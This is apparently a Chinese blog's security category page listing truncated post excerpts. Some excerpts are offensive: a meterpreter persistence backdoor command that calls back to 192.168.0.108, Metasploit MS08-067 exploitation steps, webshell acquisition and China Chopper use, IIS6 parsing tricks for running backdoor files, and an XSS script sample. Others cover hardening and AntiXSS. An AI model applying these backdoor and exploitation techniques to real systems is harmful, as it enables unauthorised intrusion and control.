随笔分类 - 安全
摘要：Linux中基于命令行的性能监控工具：dstat、top、netstat、vmstat、htop、ss、glances 1、dstat – 多类型资源统计工具（需配置epel源） 该命令整合了vmstat，iostat和ifstat三种命令。同时增加了新的特性和功能可以让你能及时看到各种的资源使用情
阅读全文
摘要：安装后门方法一：meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108 Persistent agent script is 609628 bytes longRunningPersistance ScriptResource fil
阅读全文
摘要：一、 概述 本文介绍了android中获取root权限的方法以及原理，让大家对android玩家中常说的“越狱”有一个更深层次的认识。 二、 Root的介绍 1. Root 的目的 可以让我们拥有掌控手机系统的权限，比如删除一些system/app下面的无用软件，更换开关机铃声和动画，拦截状态栏弹出
阅读全文
摘要：一．名词解释 exploit 测试者利用它来攻击一个系统，程序，或服务，以获得开发者意料之外的结果。常见的 有内存溢出，网站程序漏洞利用，配置错误exploit。 payload 我们想让被攻击系统执行的程序，如reverse shell 可以从目标机器与测试者之间建立一 个反响连接，bind sh
阅读全文
摘要：工具:metasploit,目标系统 windows xp sp3 English 渗透攻击过程 1.search MS08-067 2. use exploit/windows/smb/ms08_067_netapi 3. show payloads 4. set payload generic/
阅读全文
摘要：Nmap（Network Mapper）是一款开放源代码的网络探测和安全审核工具。它的设计目标是快速地扫描大型网络，不适应于单一主机。Nmap使用检测IP数据包来确定访问的主机、提供的服务、数据包的类型等其他信息；Nmap通常被用来做安全审查，比如日常的网络日常检查、管理service升级计划以及检
阅读全文
摘要：web服务器 1.web服务器关闭不需要的IIS组件，比如禁用wev，禁用cgi和asp功能2.隐藏网站物理路径，删除默认网站，更改网站的物理路径3.删除无用的虚拟目录以及iis映射,只保留需要后缀文件的映射， 4.启用IIS日志记录，每天审查日志5.设置web站点目录访问权限为读取权限，去除写入，
阅读全文
摘要：黑客在入侵企业网站时，通常要通过各种方式获取webshell从而获得企业网站的控制权，然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法，希望广大的企业网络管理员能够通过了解获取webshell的途径，对企业自身进行防范。 一、通过上传文件类型过滤漏洞获取webshel
阅读全文
摘要：中国菜刀，一个非常好用而又强大的webshell，它可不是用来切菜的做饭的道具哦，是一款专业的网站管理软件，大小只有300多KB，真是小巧实用啊！不过被不法分子利用到，就是一个黑站的利器了。我记得以前接触的时候摸索了好久才会用，哈哈。。后来领悟之后才发现并不难操作，同时功能也比我想象的要强大。 1.
阅读全文
摘要：概括: 从技术角度分析IIS6文件名解析漏洞的原理与IIS7的相关情况。a.IIS6错误解析文件类型现象1、当WEB目录下，文件名以 xxx.asp;xxx.xxx 来进行命名的时候，此文件将送交asp.dll解析(也就是执行脚本)2、当WEB目录下，在访问以 xxx.asp 命名的目录下的任意文件
阅读全文
摘要：IIS 6.0 1.目录解析：/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码 IIS6.0 会将 xx.jpg 解析为 asp 文件。 2.后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0
阅读全文
摘要：AntiXSS，由微软推出的用于防止XSS攻击的一个类库，可实现输入白名单机制和输出转义。 AntiXSS最新版的下载地址：http://wpl.codeplex.com 下载安装之后，安装目录下有以下文件： AntiXSS.chm： 包括类库的操作手册参数说明。 AntiXSSLibrary.dl
阅读全文
摘要：跨站脚本攻击，又称XSS代码攻击，也是一种常见的脚本注入攻击。例如在下面的界面上，很多输入框是可以随意输入内容的，特别是一些文本编辑框里面，可以输入例如<script>alert('这是一个页面弹出警告');</script>这样的内容，如果在一些首页出现很多这样内容，而又不经过处理，那么页面就不断
阅读全文
摘要：首先说明一下，我的所有代码都是vbscript，jscript我没有研究过，不过我想也差不多。关于最基础的语法比如变量的申明，分支，循环，函数的调用，等等这些我就不讲了，不懂得自己看一下。1、我们的第一个vbs程序：还是那个老得掉牙的冬冬。************************hello.
阅读全文
